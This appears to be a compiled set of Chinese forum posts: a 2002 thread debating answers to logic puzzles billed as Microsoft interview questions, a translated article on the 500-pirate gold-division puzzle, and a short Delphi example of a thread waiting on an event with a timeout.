3.Aa,Bb,Cc分别代表大人，小孩。第一次Aa过，A回，第二次Bb过，a回。第三次Aa过，a回。第四次Cc过，c回。第五次ac过。

Ⅰ①设两城距离s.则鸟飞行路程为30s/(15+20)=6s/7.距L为3s/7

Ⅱ

②至少4个求保证两个同色求。

③类同人民币：1，2，5。 2=5-3，1=3-（5-3）。

回复人：　Prog_cn(Programmer)　(2002-1-23 19:55:58) 得0分

1000!后有几个零还有点新意。--1*9*10 + 2*9 + 3 = ？

回复人：　ybudi(菜牛)　(2002-1-23 20:03:05) 得0分

那个TOO OLD:

能说除你的理由么？

回复人：　dx961(我是菜鸟)　(2002-1-23 20:28:17) 得0分

大家好,我是第一次登陆到这个网站,看到这个贴子很有趣,就注册了,这些问题挺简单,但是就是第三题分球的没有弄明白,胖胖的贴子好长呀,看这有点晕,小猫的答案左改右改好像也是不对,哪位高手能给一个正确的答案让我了解一下?还有,1000后面有好多零的,从1到1000中每个结尾是5和0的都能得到0,带5的有100个,带零的也有100个,但是100,200,300,400,500,600,700,800,900,1000后面的0有些多,现在零的个数是100+100+21=221个,但是0前面是5的也会得到0,有50,150,250,350,450,550,650,750,850,950,500,11个,所以是221+11=232个,不知道我说的对不对?请大家1000!=4.02+e2567,很大的!欢迎大家批评指教!!!!!!!!!!!!!!!!!

回复人：　chinadrgon(zhouzhou)　(2002-1-23 21:33:36) 得0分

我觉得这里的大部分题目都见过，如第一题：在离散数学教科书上有一样的，第二题是图论的习题，第三题在数据结构上有，微软试题中第一题，我在高中就做过，据说是清华大学的

某个大教授出的，不要把他看成级数问题来处理，只要了解位移的本质就可以解答。下面题目是韩信称油的翻版！

回复人：　tzhliang(kindboy)　(2002-1-23 22:48:34) 得0分

大部分都是小学奥林匹克上的题。幼稚的微软

回复人：　eyesinheaven(eyes -- 无关风月)　(2002-1-23 23:25:22) 得0分

这似乎是很早以前的题了...好像俺化了50分钟...

1 2 3 4 5 6 7 8 9 10 11 12

1 2 3 4 5 6 7 8 9 10 11 12

|--A--| |--B--| |---C----|

步骤1(第一次): A & B 比较,如果(A == B) goto 步骤2, (A != B) goto步骤5.

步骤2(第二次): (A==B) ==> C中有问题球, 则将C分为两堆: 9 10 11 12 ,

|-E-| |-F--|

从A或B中任意的抽两球,组成标准球: 1 5

|--D--|

D与E比较,如果(D==E) goto 步骤3, (D!=E) goto 步骤4

步骤3(第三步): (D == E) ==> F中有问题球,将F中的两球,任取一个和正常球比较,则可得结果

步骤4(第三步): 如果D!=E 则对E中的两球任取一球,和正常球比较,可得结果.

步骤5(第二步): (A!=B)==>A或者B中有问题球...C中都是正常球...我们继续分堆.为了描述方便,我按照上面的标号来演示.

1 5 6 7 9 10 11 8 2 3 4

|--AA--| |----BB---| |-CC-|

比较AA 和BB, 如果 AA == BB goto 步骤6, 如果 AA != BB, goto 步骤7

步骤6(第三步): AA == BB, 则问题球在CC中,而B堆中的四个是正常球.由于CC中的球都是从A中分出来的,那么在A和B比较的时候,知道了问题球和正常球的轻重关系. 将 CC 中的三球,任意取两个比较, 如果相等,则剩下的一个是问题球...如果不等,则根据问题球和正常球的轻重关系,判断天平上的两个中的一个为问题球....如从A和B的比较看出,A一头比较重,则问题球比较重,否则比较轻....则由于9,10,11是正常球,而转移过去的B中的3球没有造成天平的反向,则此三球为正常球,因为只有1和8可能是问题球...此时(第三步)任取一个正常球和1/8中的任意一个比较,则可得结果. 如果天平和A B比较的结果反向,也就是说B中转移过去的3个球中有问题球,而且根据A和B的比较情况,知道B中问题球的重量关系...此时判断方法与步骤5同.

13个球的判断方式与上面的流程几乎一样....

步骤7: AA!=BB的时候,如果天平的两端轻重没有变化,也就是说如果在A和B的比较的时的结果一样,

回复人：　jane1234()　(2002-1-23 23:35:09) 得0分

关于:"阶乘1000!的结尾有多少个0?"

1000!结尾的0的个数＝1000!中因子5的个数(因为1000!中因子2的个数远大于因子5的个数)

＝(1～1000中可被5整除的数的个数)+(1～1000中可被25整除的数的个数)+(1～1000中可被125整除的数的个数)+(1～1000中可被625整除的数的个数)

=1000/5+1000/5/5+1000/5/5/5+1000/5/5/5/5

=200+40+8+1=249

回复人：　jlj(沧海无边)　(2002-1-24 0:40:26) 得0分

一．阶梯测试

(1)设岔路A,B;两个人甲，乙。那么问甲：“如果我问乙，他会告诉我走哪条路？”；若甲回答：“A”,则B为正确道路；反之，A为正确道路。

(2)正解很多，例如：假设大人ABC，孩子abc:

Aa=>

<=A

Bb=>

<=B

Cc=>

<=C

AB=>

<=A

AC=>

(3)将球分为三组：A1,A2,A3,A4 ;B1,B2,B3,B4 ;C1,C2,C3,C4。

第一次：(A1,A2,A3,A4) .VS. (B1,B2,B3,B4) 如果平衡，则剩下的问题很简单，不必讨论；

假设 (A1,A2,A3,A4) > (B1,B2,B3,B4) ,反之类似，不再讨论

第二次：(A1,A2,B2) .VS. (B1 ,A3, C1) 剩余 A4,B3,B4

若相等，则第三次：(B3) .VS. (B4)

若相等,则为结果为 A4

若 B3 > B4 , 则结果为B4 ; 反之，为B3

若 (A1,A2,B2) > (B1 ,A3, C1)

则范围缩小到 A1,A2,B1,方法类似上述第三次。

若 (A1,A2,B2) < (B1 ,A3, C1)

则范围缩小到 B2,A3 ,还用说嘛！

二、

I

(1)设两城市距离S,则路程为 30*S/(15+20) ,运动位移为：15*S/(15+20)

II

(2) 2 (题意不明确，若为4未免太。。。。。。)

(3) 3+3-5+3 = 4 ok!

III

(4) 任何一个大于3的整数可以表示为 2*m+3*n ,而2=5-3

IV (5) 取 1*a+2*b+3*c+4*d ,称之 ；与10*标准比较 ，若大3 ，则为C ,余类似

(6) 1/7 + 2/7 + 4/7

回复人：　_lee(张宇)　(2002-1-24 2:16:46) 得0分

微软出这样的题目，太没水平了！！推荐大家一本好书，《智力故事300个》，以上试题几乎都包括！此书乃儿童专用！！如果真是这些题，我就进微软了！！

回复人：　lvz(红心)　(2002-1-24 9:44:28) 得0分

**③12个球一个天平，现知道只有一个和其它的重量不同，问怎样称才能用三次就找到那个球。13个呢？

  （正常解题时间：20min ~ 60min ，本人将近40分钟做出正确解答）

想问问 这个球比正常球是重还是轻呀？

jlj(沧海无边) 你的解答我不明白

(3)将球分为三组：A1,A2,A3,A4 ;B1,B2,B3,B4 ;C1,C2,C3,C4。

第一次：(A1,A2,A3,A4) .VS. (B1,B2,B3,B4) 如果平衡，则剩下的问题很简单，不必讨论；//就算平衡，又怎么简单了？那只能说明这个目标球在C1/C2/C3/C4中，再随机把C组的球分为两组，称一下，（假设C1和C2一组，C3和C4一组）发现C1+C2>C3+C4那又怎么办呢？因为题目并没有说明这个目标球比正常球重还是轻，所以呢无法确定球在C1C2中还是C3C4

假设 (A1,A2,A3,A4) > (B1,B2,B3,B4) ,反之类似，不再讨论

第二次：(A1,A2,B2) .VS. (B1 ,A3, C1) 剩余 A4,B3,B4

若相等，则第三次：(B3) .VS. (B4)

若相等,则为结果为 A4

若 B3 > B4 , 则结果为B4 ; 反之，为B3

若 (A1,A2,B2) > (B1 ,A3, C1)

则范围缩小到 A1,A2,B1,方法类似上述第三次。

若 (A1,A2,B2) < (B1 ,A3, C1)

则范围缩小到 B2,A3 ,还用说嘛！

回复人：　Prog_cn(Programmer)　(2002-1-24 10:18:27) 得0分

对对，1000!应该是jane1234()的解法，我把5给忽略掉了。土土:)

另外，药丸问题我觉得条件是不足的，因为没有说明正常药丸的质量是否已知，或者确定了药丸的质量是整数，或者...

回复人：　wubo0067()　(2002-1-24 11:24:29) 得0分

假设向左是对的,应该对其中的人说“向左走是一句假话吗"

回复人：　feelinn(feelinn)　(2002-1-24 11:26:33) 得0分

这些问题早就有成熟的解法。比方说12个小球的问题吧。在数据结构上不是有完全解答树么？试一下。（我还不是计算机专业的，呵呵）

再说一下分金块的问题。我也说一个，和这个问题一样的思路。有1000堆砖，第1堆1块，第2堆2块，第3堆3块。。。。。。。。。，现有一辆卡车来运，它只能从每堆中取相同的块数，（某些可以不取）问最少几次可以运完？

回复人：　hufei00(黑马王子)　(2002-1-24 11:32:45) 得0分

我总觉得12个小球那个条件不足，应该明确不同的那个小球比其他11个小球是轻还是重？

回复人：　feelinn(feelinn)　(2002-1-24 11:47:12) 得0分

一棵3叉树在3层上有27个判断，就看你怎么构造了。哈哈。大概10分钟内，因为方向找到就是具体的工作了。

有没有玩过九连环的所谓的智力玩具的？我没有玩过，我看了一下，我认为是一个递归的问题（我觉得步骤多，所以没玩），谁玩了可不可以告诉我是不是。我好验证我的思路对不对。

这类问题大都有数学模型，多看看这类的模型就会觉得思路开阔得多。（一家之言）

回复人：　feelinn(feelinn)　(2002-1-24 12:06:28) 得0分

这些问题早就有成熟的解法。比方说12个小球的问题吧。在数据结构上不是有完全解答树么？试一下。（我还不是计算机专业的，呵呵）

再说一下分金块的问题。我也说一个，和这个问题一样的思路。有1000堆砖，第1堆1块，第2堆2块，第3堆3块。。。。。。。。。，现有一辆卡车来运，它只能从每堆中取相同的块数，（某些可以不取）问最少几次可以运完？

回复人：　flywhc(午夜蓝调)　(2002-1-24 12:37:12) 得0分

三种颜色的球的问题，最少拿两个就能拿到两个同样颜色的球了！最多才是拿四个。

九连环有个口诀：1213121什么的，反正就是隔一个才能退下来，因此要反复退剩下的没退的第二个，再把前面退下的再重新装上去，差不多就是递归，有点hanno塔的感觉

回复人：　emlishun(emlishun)　(2002-1-24 13:07:30) 得0分

to:jlj(沧海无边)　12个球解的真好 佩服

回复人：　wx_zhang()　(2002-1-24 15:25:24) 得0分

题目比较简单，最先都答正确的是KXZH。别人要发表答案先看看他的。称小球的问题讨论很多了，在不知道轻重的情况下，k（k>1)次最多可以从（3^k-1)/2个球中找到那个球，最主要的思路是要把先前分好的球交叉互换；取相同颜色球的问题，如果你运气好，取两次就可以得到相同颜色的，所以最少次数是2。

回复人：　agamem()　(2002-1-24 15:46:50) 得0分

12个球

6+6，取轻

3+3，取轻

1+1，等：取另一个，不等：取轻

时间：1s

回复人：　agamem()　(2002-1-24 15:50:29) 得0分

第六题时间无穷，我真怀疑你的智商1

回复人：　michael_wzm(成都牛魔王)　(2002-1-24 18:22:24) 得0分

金条最easy。你怎么会认为最难？

回复人：　lzguo99(大果子)　(2002-1-24 20:01:50) 得0分

：　kxzh()

2.A-a,B-b,C-c;大写为大人，小写为小孩

A-a,A;B-b,B;C-c,C;A-B,A;A-C.船过5次，回4次（20s）

错了吧，第二次B-b过去，a就危险了！

回复人：　coolfancy(心飞无际)　(2002-1-24 22:14:30) 得0分

to：　agamem()

咋一看好像没有问题， 但是偶有个问题要请教， 你是如何知道重的那一头就是标准球呢？

换句话说，与其他球不同的那个球是轻还是重于标准球并不知道啊？

回复人：　liangsiyuan(叶)　(2002-1-24 22:16:16) 得0分

一①

问其中一个人："如果我问另一个人，他会说往哪条路走？"，正确的答案就是和他的回答相反。

二Ⅰ①

先求得两火车相遇所需要的时间，这个时间也是鸟总共飞行的时间，然后根据鸟的速度求得

二Ⅱ②

2个

二IV⑤

从第一个容器中取一个药丸，第二个中取两个，第三个中取三个，第四个中取四个。

称出总重，如果比正常的10个药丸重1，就是第一个容器的药丸变质，重2，就是第二个，依次类推。

回复人：　coolfancy(心飞无际)　(2002-1-25 0:25:28) 得0分

关于12个小球的问题：

jlj(沧海无边)　 的解答有明显的漏洞。

：　lvz(红心)　 的问题没有问到核心部分；

eyesinheaven(eyes)　的解答才是正确答案 ：）

回复人：　zhangning111(比傻子还笨)　(2002-1-25 1:18:35) 得0分

除了自编的那一个，其他的问题这里以前都讨论过，而且都有了不错的答案

回复人：　luoyonglai21(LYL)　(2002-1-25 1:51:21) 得0分

问其中一个人："如果我问另一个人，他会告诉我往哪条路走？"，

回复人：　zsq0759(john.zhong)　(2002-1-25 11:20:53) 得0分

一① 这道题好像是:

false and true永远等于false，

只要问题将两个人关联起来，我们得到的答案就是假的。

回复人：　zsq0759(john.zhong)　(2002-1-25 11:25:29) 得0分

二Ⅱ②

回复人：　zsq0759(john.zhong)　(2002-1-25 11:34:45) 得0分

Ⅱ. 微软试题-逻辑思维能力

②有足量红黄蓝小球放在同一容器中，现需取2个颜色相同的，最少要取几个。

  （正常解题时间：1s ~ 10s）

2个

③足量水，3ml，5ml容器各一，如何测4ml水。

  one 装满5ml容器的水

two 把5ml容器的水倒满3ml容器中

three 倒掉3ml里的水，把5ml容器中剩下的2ml的水倒到3ml容器

four 装满5ml容器的水,并把它里面的水倒满3ml容器中。

回复人：　JLDelphi(石笋乡人)　(2002-1-25 11:54:38) 得0分

大人:A, B, C;对应小孩a, b, c

a,b->

<-b

b,c->

<-c

A,B->

<-B

B,C->

<-C

C,c->

OK!

回复人：　JLDelphi(石笋乡人)　(2002-1-25 12:05:35) 得0分

更正：

大人:A, B, C;对应小孩a, b, c

a,b->

<-b

b,c->

<-c

C,c->

<-C

A,B->

<-c

C,c->

OK!

回复人：　zjber(野渡无人舟)　(2002-1-25 12:33:53) 得0分

上面朋友，我有一疑问：第三步，C,c->后，对a，b说，abcC同处，AB不在身边，ab将有危险，是吗？

回复人：　journay(梦回唐朝)　(2002-1-25 14:23:33) 得0分

12个球一个天平，现知道只有一个和其它的重量不同，问怎样称才能用三次就找到那个球。13个呢？

我说说,不知道对不对!

前提:

1.如果不知道轻重的话,一次称量只能比较出2个小球中的重量不同的球(其他为标准球,比较方法是用1个标准球和此2个小球中的任意一球比,平:另一球是,不平:此球是).

2.如果知道轻重的话,一次称量就能比较出3个小球中的重量不同的球(其他为标准球,比较方法是随意在3小球中比较其中两个,如平:另一球是,如不平,根据轻重判断)

因此,作此题前应该判断出此球是轻是重.

说13个球的吧.

应该比较简单,分成2组每组4个,比较两组,

平:判断剩下5球:

取3个标准球,和5球中任意3球比较,不平:可知道此球是轻是重,调用2;平:剩下2球中有一个,调用1

不平:判断8个球

记住第一次称量两边的轻重:

用5个剩下的标准球和8个球的5个球比较(5个球应该这样拿,第一次称量中,随便一组拿3个,一组拿2个)

如果不平,可知道轻重,并根据轻重可知道是在2个中还是在3个中,调用1或2即可)

如果平:剩下3个球(因为一组中取出3个,一组中取出2个),比较拿出2个球的哪组

如果平:剩下的一个是

如果不平:可知道此2球在的组有重量不等的球(根据第一次称量比较可以判断出球的轻重),并根据此判断出重量不等的小球

回复人：　leedsmr(玫瑰红)　(2002-1-25 16:06:54) 得0分

Ⅳ. 微软试题-实际生活综合能力

*⑤4个装了药丸的容器，正常药丸质量一定；其中一容器中全装的变质药丸，其质量为正常药丸质量+1。只称一次，如何判断那一容器中药丸变质。

  （正常解题时间：10s ~ +∞）

***⑥工人为你工作7天，回报为一根金条（既然说是金条，应该就不能将其弯曲吧？），

     必须在每天付给他们一段，且只能截2次，你将如何付费？

    （本人目前未得到正解，解题时间暂定为 +∞） ((发贴时已经做出来了，不是很难。))

先切出一天的， 再切出2天，声下4天的， 怎么给不用说了把，

回复人：　chutium(Seraph·Chutium)　(2002-1-25 17:47:31) 得0分

lionprince(狮子王子)　我的网站：http://com.6to23.com/

关于称12球的问题，在这里论坛里去年上半年讨论过，结果应该是分4堆，每堆3个，不够看这回很多人说是4个一组，我还没仔细看，不过应该是有漏洞的。

：　_lee(张宇)

推荐大家一本好书，《智力故事300个》，以上试题几乎都包括！此书乃儿童专用！！

哈哈，我也看过类似的书，也是小学看的，不过那里的题我看一个小学生是不可能全做出来的~除非某些智力水平有畸形的孩子……

chutium(Seraph·Chutium)　回复于2002-1-22 11:54:17

gcd0318(gcd0318)　好象先说的金子分法，你和nm_csdn_0()　一人20分吧……不少吧~

chutium(Seraph·Chutium)　回复于2002-1-22 16:30:27

：　emlishun(emlishun)

取4个球回答正确。----------------------10分（这个比较简单）

chutium(Seraph·Chutium)　回复于2002-1-23 15:38:34

CaoHua(曹华)　药丸的终于有人答对了。恭喜…… --------30分

kxzh()　分水的，你答对了！不容易呀！ ------------30分

过河的和真假话答案不唯一，不好给分，下礼拜一再看看吧。

回复人：　wx_zhang()　(2002-1-25 18:01:27) 得0分

to chutium(Seraph·Chutium)：开玩笑分成四堆，你能称出来你就是神仙。自己也不动脑子想一想。

过河问题：ABC大人，abc小孩

a,b->

<- b

b,c->

<-c

A,B->

A,a <-

A,C->

b <-

a,b->

b <-

b,c->

回复人：　jlj(沧海无边)　(2002-1-25 20:21:48) 得0分

TO coolfancy(心飞无际)　:你说我的12个球的解答有漏洞，请具体说说有什么漏洞？？？

回复人：　jlj(沧海无边)　(2002-1-25 20:28:49) 得0分

回复人：　lvz(红心)　(2002-1-24 9:44:28) 得0分

**③12个球一个天平，现知道只有一个和其它的重量不同，问怎样称才能用三次就找到那个球。13个呢？

  （正常解题时间：20min ~ 60min ，本人将近40分钟做出正确解答）

想问问 这个球比正常球是重还是轻呀？

jlj(沧海无边) 你的解答我不明白

(3)将球分为三组：A1,A2,A3,A4 ;B1,B2,B3,B4 ;C1,C2,C3,C4。

第一次：(A1,A2,A3,A4) .VS. (B1,B2,B3,B4) 如果平衡，则剩下的问题很简单，不必讨论；//就算平衡，又怎么简单了？那只能说明这个目标球在C1/C2/C3/C4中，再随机把C组的球分为两组，称一下，（假设C1和C2一组，C3和C4一组）发现C1+C2>C3+C4那又怎么办呢？因为题目并没有说明这个目标球比正常球重还是轻，所以呢无法确定球在C1C2中还是C3C4

------------------------------------------------------------------------------

看来，我该在具体些：

（A1,A2） .VS. (C1,C2) 可以判断出异常球在（C1,C2）或(C3,C4)

假设在（C1,C2）中，

（A1）.VS. (C1)

YOU KNOW ?

关键是：A1,A2,A3,A4,B1,B2,B3,B4都是标准的！！

------------------------------------------------------------------------------

假设 (A1,A2,A3,A4) > (B1,B2,B3,B4) ,反之类似，不再讨论

第二次：(A1,A2,B2) .VS. (B1 ,A3, C1) 剩余 A4,B3,B4

若相等，则第三次：(B3) .VS. (B4)

若相等,则为结果为 A4

若 B3 > B4 , 则结果为B4 ; 反之，为B3

若 (A1,A2,B2) > (B1 ,A3, C1)

则范围缩小到 A1,A2,B1,方法类似上述第三次。

若 (A1,A2,B2) < (B1 ,A3, C1)

则范围缩小到 B2,A3 ,还用说嘛！

回复人：　jlj(沧海无边)　(2002-1-25 21:12:02) 得0分

To　coolfancy(心飞无际)　:

我刚刚看了eyesinheaven(eyes)　的解答，的确是正确的！！但我的答案应该也使对的！？我再把我的答案排一下版，你再仔细看看！！！

将球分为三组：A1,A2,A3,A4 ;B1,B2,B3,B4 ;C1,C2,C3,C4。

第一次：(A1,A2,A3,A4) .VS. (B1,B2,B3,B4) 如果平衡，则剩下的问题很简单，不必讨论；

假设 (A1,A2,A3,A4) > (B1,B2,B3,B4) ,反之类似，不再讨论

第二次：(A1,A2,B2) .VS. (B1 ,A3, C1) 剩余 A4,B3,B4

（实质是分成三组： <A1,A2,B1>(与第一次的位置相同)

<B2,A3>(与第一次的位置相反，为使用天平，加C1)

<A4,B3,B4>(从天平上取下)

）

若相等，

则第三次：(B3) .VS. (B4)

若相等,则为结果为 A4

若 B3 > B4 , 则结果为B4 ; 反之，为B3

若 (A1,A2,B2) > (B1 ,A3, C1)

则范围缩小到 A1,A2,B1,方法类似上述第三次。

若 (A1,A2,B2) < (B1 ,A3, C1)

则范围缩小到 B2,A3 ,还用说嘛！

回复人：　iamxia(我向上帝忏悔)　(2002-1-25 21:48:04) 得0分

不会

回复人：　xiaoxi777(小溪)　(2002-1-25 23:32:54) 得0分

一①先问一个“你知道怎么走吗？”，再问另一个“怎么走”，搞定

回复人：　liurui80(蓝烟火)　(2002-1-26 1:51:48) 得0分

最后一题 把金子先一分为二(相等的啊)然后把两根一分为二(1:2的啊)

第一天给一小段,第二天给一大段,第三天用大的换小的,第四天照旧,呵呵~~

回复人：　liurui80(蓝烟火)　(2002-1-26 1:54:08) 得0分

最后一题 把金子先一分为二(相等的啊)然后把两根一分为二(1:2的啊)

第一天给一小段,第二天给一大段换回小的,以后照旧,呵呵~~

回复人：　coolfancy(心飞无际)　(2002-1-26 2:40:12) 得0分

to : jlj(沧海无边)　兄弟， 刚才仔细看了你的解答，确实也是正确方法的一种。开始看到lvz(红心) 对你的质疑不太严谨，后来就没有仔细看你的帖子，实在抱歉。 在这里对耽误你的时间又发了边帖子表示歉意。其实我仔细看了下， 你的解答比eyesinheaven(eyes)的还简单一些，更让人容易理解。

另外， 有位兄弟说，在不知道轻重的情况下，k（k>1)次最多可以从（3^k-1)/2个球中找到那个球。 这个说法意味着把13个球的问题也一并解决了， 你有什么高见？ 他的假设是否可以用数学归纳法证明？ 我现在对这点还没什么思路。

回复人：　congling(congling)　(2002-1-26 7:08:22) 得0分

看以下的贴字我的证明，如果不要求称出坏球到底重或轻，可以称4*3^(n-2)+1个，剩下那个就是了

http://www.csdn.net/expert/topic/399/399137.shtm

1000的阶乘后面有多少个0？？

解答案：

实际上这道题目就是要求出有多少个5的因子！！！因为10=2*5，而2的因子总是多于5的因子的个数，因此，只要求出5的因子的个数就可以了！！！而所有5的因子的个数就是5的因子的个数+5的平方+5的立方+5的4次方+.....的个数就是答案！！！因此答案就是：

=1000 div 5 + 1000 div 5^2 + 1000 div 5^3 + 1000 div 5^4 + 1000 div 5^5

=200 + 40 + 8 + 1 + 0

=249


海盗分金子
海盗分金子

数学的逻辑有时会导致看来十分怪异的结论。一般的规则是，如果逻辑推理没有漏洞，

那么结论就必定站得住脚，即使它与你的直觉矛盾。 1998年9月，加利福尼亚州帕洛阿

尔托的Stephen M. Omohundro寄给我一道难题，它恰好就属于这一类。这难题已经流传

了至少十年，但是Omohundro对它作了改动，使它的逻辑问题变得分外复杂了。

先来看看此难题原先的形状。10名海盗抢得了窖藏的100块金子，并打算瓜分这些战利

品。这是一些讲民主的海盗（当然是他们自己特有的民主），他们的习惯是按下面的方

式进行分配：最厉害的一名海盗提出分配方案，然后所有的海盗（包括提出方案者本

人）就此方案进行表决。如果50%或更多的海盗赞同此方案，此方案就获得通过并据此

分配战利品。否则提出方案的海盗将被扔到海里，然后下提名最厉害的海盗又重复上述

过程。

所有的海盗都乐于看到他们的一位同伙被扔进海里，不过，如果让他们选择的话，他们

还是宁可得一笔现金。他们当然也不愿意自己被扔到海里。所有的海盗都是有理性的，

而且知道其他的海盗也是有理性的。此外，没有两名海盗是同等厉害的--这些海盗按

照完全由上到下的等级排好了座次，并且每个人都清楚自己和其他所有人的等级。这些

金块不能再分，也不允许几名海盗共有金块，因为任何海盗都不相信他的同伙会遵守关

于共享金块的安排。这是一伙每人都只为自己打算的海盗。

最凶的一名海盗应当提出什么样的分配方案才能使他获得最多的金子呢？

为方便起见，我们按照这些海盗的怯懦程度来给他们编号。最怯懦的海盗为1号海盗，

次怯懦的海盗为2号海盗，如此类推。这样最厉害的海盗就应当得到最大的编号，而方

案的提出就将倒过来从上至下地进行。

分析所有这类策略游戏的奥妙就在于应当从结尾出发倒推回去。游戏结束时，你容易知

道何种决策有利而何种决策不利。确定了这一点后，你就可以把它用到倒数第2次决策

上，如此类推。如果从游戏的开头出发进行分析，那是走不了多远的。其原因在于，所

有的战略决策都是要确定：“如果我这样做，那么下一个人会怎样做？” 因此在你以

下海盗所做的决定对你来说是重要的，而在你之前的海盗所做的决定并不重要，因为你

反正对这些决定也无能为力了。

记住了这一点，就可以知道我们的出发点应当是游戏进行到只剩两名海盗--即1号和2

号--的时候。这时最厉害的海盗是2号，而他的最佳分配方案是一目了然的：100块金

子全归他一人所有，1号海盗什么也得不到。由于他自己肯定为这个方案投赞成票，这

样就占了总数的50%，因此方案获得通过。

现在加上3号海盗。1号海盗知道，如果3号的方案被否决，那么最后将只剩2个海盗，而

1号将肯定一无所获--此外，3号也明白1号了解这一形势。因此，只要3号的分配方案

给1号一点甜头使他不至于空手而归，那么不论3号提出什么样的分配方案，1号都将投

赞成票。因此3号需要分出尽可能少的一点金子来贿赂1号海盗，这样就有了下面的分配

方案： 3号海盗分得99块金子，2号海盗一无所获，1号海盗得1块金子。

4号海盗的策略也差不多。他需要有50%的支持票，因此同3号一样也需再找一人做同

党。他可以给同党的最低贿赂是1块金子，而他可以用这块金子来收买2号海盗。因为如

果4号被否决而3号得以通过，则2号将一文不名。因此，4号的分配方案应是：99块金子

归自己，3号一块也得不到，2号得1块金子，1号也是一块也得不到。

5号海盗的策略稍有不同。他需要收买另两名海盗，因此至少得用2块金子来贿赂，才能

使自己的方案得到采纳。他的分配方案应该是：98块金子归自己，1块金子给3号，1块

金子给1号。

这一分析过程可以照着上述思路继续进行下去。每个分配方案都是唯一确定的，它可以

使提出该方案的海盗获得尽可能多的金子，同时又保证该方案肯定能通过。照这一模式

进行下去，10号海盗提出的方案将是96块金子归他所有，其他编号为偶数 的海盗各得1

块金子，而编号为奇数的海盗则什么也得不到。这就解决了10名海盗的分配难题。

Omohundro的贡献是他把这一问题扩大到有500名海盗的情形，即500名海盗瓜分100块金

子。显然，类似的规律依然成立--至少是在一定范围内成立。事实上，前面所述的规

律直到第200号海盗都成立。 200号海盗的方案将是：从1到199号的所有奇数号的海盗

都将一无所获，而从2到198号的所有偶数号海盗将各得1块金子，剩下的1块金子归200

号海盗自己所有。

乍看起来，这一论证方法到200号之后将不再适用了，因为201号拿不出更多的金子来收

买其他海盗。但是即使分不到金子，201号至少还希望自己不会被扔进海里，因此他可

以这样分配：给1到199号的所有奇数号海盗每人1块金子，自己一块也不要。

202号海盗同样别无选择，只能一块金子都不要了--他必须把这100块金子全部用来收

买100名海盗，而且这100名海盗还必须是那些按照201号方案将一无所获的人。由于这

样的海盗有101名，因此202号的方案将不再是唯一的--贿赂方案有101种。

203号海盗必须获得102张赞成票，但他显然没有足够的金子去收买101名同伙。因此，

无论提出什么样的分配方案，他都注定会被扔到海里去喂鱼。不过，尽管203号命中注

定死路一条，但并不是说他在游戏进程中不起任何作用。相反，204号现在知道，203号

为了能保住性命，就必须避免由他自己来提出分配方案这么一种局面，所以无论204号

海盗提出什么样的方案，203号都一定会投赞成票。这样204号海盗总算侥幸拣到一条命

：他可以得到他自己的1票、203号的1票、以及另外100名收买的海盗的赞成票，刚好达

到保命所需的50%。获得金子的海盗，必属于根据202号方案肯定将一无所获的那101名

海盗之列。

205号海盗的命运又如何呢？他可没有这样走运了。他不能指望203号和204号支持他的

方案，因为如果他们投票反对205号方案，就可以幸灾乐祸地看到205号被扔到海里去喂

鱼，而他们自己的性命却仍然能够保全。这样，无论205号海盗提出什么方案都必死无

疑。206号海盗也是如此--他肯定可以得到205号的支持，但这不足以救他一命。类似

地，207号海盗需要104张赞成票--除了他收买的100张赞成票以及他自己的1张赞成票

之外，他还需3张赞成票才能免于一死。他可以获得205号和206号的支持，但还差一张

票却是无论如何也弄不到了，因此207号海盗的命运也是下海喂鱼。

208号又时来运转了。他需要104张赞成票，而205、206、207号都会支持他，加上他自

己一票及收买的100票，他得以过关保命。获得他贿赂的必属于那些根据204号方案肯定

将一无所获的人（候选人包括2到200号中所有偶数号的海盗、以及201、203、204号）。

现在可以看出一条新的、此后将一直有效的规律：那些方案能过关的海盗（他们的分配

方案全都是把金子用来收买100名同伙而自己一点都得不到）相隔的距离越来越远，而

在他们之间的海盗则无论提什么样的方案都会被扔进海里--因此为了保命，他们必会

投票支持比他们厉害的海盗提出的任何分配方案。得以避免葬身鱼腹的海盗包括201、

202、204、208、216、232、264、328、456号，即其号码等于200加2的某一方幂的海

盗。

现在我们来看看哪些海盗是获得贿赂的幸运儿。分配贿赂的方法是不唯一的，其中一种

方法是让201号海盗把贿赂分给1到199号的所有奇数编号的海盗，让202号分给2到200

号的所有偶数编号的海盗，然后是让204号贿赂奇数编号的海盗，208号贿赂偶数编号的

海盗，如此类推，也就是轮流贿赂奇数编号和偶数编号的海盗。

结论是：当500名海盗运用最优策略来瓜分金子时，头44名海盗必死无疑，而456号海盗

则给从1到199号中所有奇数编号的海盗每人分1块金子，问题就解决了。由于这些海盗

所实行的那种民主制度，他们的事情就搞成了最厉害的一批海盗多半都是下海喂鱼，不

过有时他们也会觉得自己很幸运--虽然分不到抢来的金子，但总可以免于一死。只有

最怯懦的200名海盗有可能分得一份脏物，而他们之中又只有一半的人能真正得到一块

金子，的确是怯懦者继承财富。


线程等待
如何利用线程等待某个事件指定的时间？

answerer: Peter Below (TeamB)

下面代码未经测试：

unit Unit2;

interface

uses

Windows, Classes;

type

TDemoThread = class(TThread)

private

{ Private declarations }

FEvent: THandle;

FTimeout: DWORD;

protected

procedure Execute; override;

procedure Action; virtual;

public

Constructor Create(CreateSuspended: Boolean;
aTimeoutInSeconds:Cardinal );

Destructor Destroy; override;

Procedure WakeAndStop;

end;

implementation

{ TDemoThread }

procedure TDemoThread.Action;

begin

// place code to execute after timeout here

end;

constructor TDemoThread.Create(CreateSuspended: Boolean;

aTimeoutInSeconds: Cardinal);

begin

FTimeout := aTimeoutInSeconds * 1000; // store as milliseconds

FEvent := Windows.CreateEvent( nil, false, false, nil );

///在这里可以把FEvent替换成你自己需要的东西

// event resets automatically and starts non-signalled

inherited Create( CreateSuspended );

end;

destructor TDemoThread.Destroy;

begin

Terminate;

SetEvent( FEvent );

inherited;

end;

procedure TDemoThread.Execute;

Var

res: DWORD;

begin

While not Terminated Do Begin

res := WaitForSingleObject( Fevent, FTimeout );

If res = WAIT_TIMEOUT Then

Action

Else

Break;

End;

end;

procedure TDemoThread.WakeAndStop;

begin

SetEvent( FEvent );

end;

end.

---------------------------------------

如果要等待一个线程结束，可以这样做：

在线程得私有变量中申明：

FEvent:TSimpleEvent;

published部分：

property Event:TSimpleEvent read FEvent;

Create中：

FEvent:=TSimpleEvent.Create;

Destroy中：

FEvent.Free;

在Execute中的第一行：

FEvent.ResetEvent;

在线程得结束（一般是最后一行代码）后添加：

FEvent.SetEvent;

然后在另外需要等待线程结束的地方把原来的

WaitForSingleObject(AThread.Handle,????)改成WaitForSingleObject(AThread.Event.Handle)即可。

---------------------------------------

